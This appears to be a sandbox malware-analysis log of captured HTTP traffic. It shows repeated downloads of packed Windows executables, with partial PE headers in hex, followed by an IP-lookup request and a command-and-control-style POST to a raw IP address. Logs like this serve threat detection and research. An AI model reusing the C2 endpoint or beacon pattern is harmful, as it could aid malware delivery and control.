Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:10:11 GMTContent-Type: application/octet-streamContent-Length: 2869248Last-Modified: Thu, 19 Dec 2024 06:20:24 GMTConnection: keep-aliveETag: "6763bb28-2bc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 6a 26 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 69 6f 72 79 77 6c 70 00 30 2a 00 00 c0 24 00 00 26 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 7a 67 62 63 61 71 73 00 10 00 00 00 f0 4e 00 00 04 00 00 00 a2 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4f 00 00 22 00 00 00 a6 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:10:29 GMTContent-Type: application/octet-streamContent-Length: 1733632Last-Modified: Thu, 19 Dec 2024 06:18:47 GMTConnection: keep-aliveETag: "6763bac7-1a7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 45 00 00 04 00 00 48 8f 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 77 6a 61 69 72 73 74 00 20 1a 00 00 c0 2a 00 00 12 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 63 65 77 6b 69 73 73 00 20 00 00 00 e0 44 00 00 06 00 00 00 4c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 45 00 00 22 00 00 00 52 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:10:32 GMTContent-Type: application/octet-streamContent-Length: 2869248Last-Modified: Thu, 19 Dec 2024 06:20:24 GMTConnection: keep-aliveETag: "6763bb28-2bc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 6a 26 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 69 6f 72 79 77 6c 70 00 30 2a 00 00 c0 24 00 00 26 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 7a 67 62 63 61 71 73 00 10 00 00 00 f0 4e 00 00 04 00 00 00 a2 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4f 00 00 22 00 00 00 a6 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:11:02 GMTContent-Type: application/octet-streamContent-Length: 1733632Last-Modified: Thu, 19 Dec 2024 06:18:47 GMTConnection: keep-aliveETag: "6763bac7-1a7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 45 00 00 04 00 00 48 8f 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 77 6a 61 69 72 73 74 00 20 1a 00 00 c0 2a 00 00 12 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 63 65 77 6b 69 73 73 00 20 00 00 00 e0 44 00 00 06 00 00 00 4c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 45 00 00 22 00 00 00 52 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:11:05 GMTContent-Type: application/octet-streamContent-Length: 2869248Last-Modified: Thu, 19 Dec 2024 06:20:24 GMTConnection: keep-aliveETag: "6763bb28-2bc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 6a 26 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 69 6f 72 79 77 6c 70 00 30 2a 00 00 c0 24 00 00 26 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 7a 67 62 63 61 71 73 00 10 00 00 00 f0 4e 00 00 04 00 00 00 a2 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4f 00 00 22 00 00 00 a6 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:15:10 GMTContent-Type: application/octet-streamContent-Length: 1880576Last-Modified: Wed, 18 Dec 2024 18:02:50 GMTConnection: keep-aliveETag: "67630e4a-1cb200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6e 75 7a 76 6c 68 65 00 30 1a 00 00 f0 2f 00 00 2e 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 7a 75 74 74 61 6e 78 00 10 00 00 00 20 4a 00 00 04 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 90 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:16:06 GMTContent-Type: application/octet-streamContent-Length: 4486144Last-Modified: Thu, 19 Dec 2024 06:44:36 GMTConnection: keep-aliveETag: "6763c0d4-447400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 c0 be 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 be 00 00 04 00 00 eb 5e 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 ab be 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 aa be 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 69 00 00 10 00 00 00 48 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 80 69 00 00 02 00 00 00 58 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 69 00 00 02 00 00 00 5a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 39 00 00 a0 69 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 68 78 74 6e 6d 6c 6a 00 f0 1b 00 00 c0 a2 00 00 ee 1b 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6e 72 73 6e 75 6d 6b 00 10 00 00 00 b0 be 00 00 06 00 00 00 4c 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 be 00 00 22 00 00 00 52 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
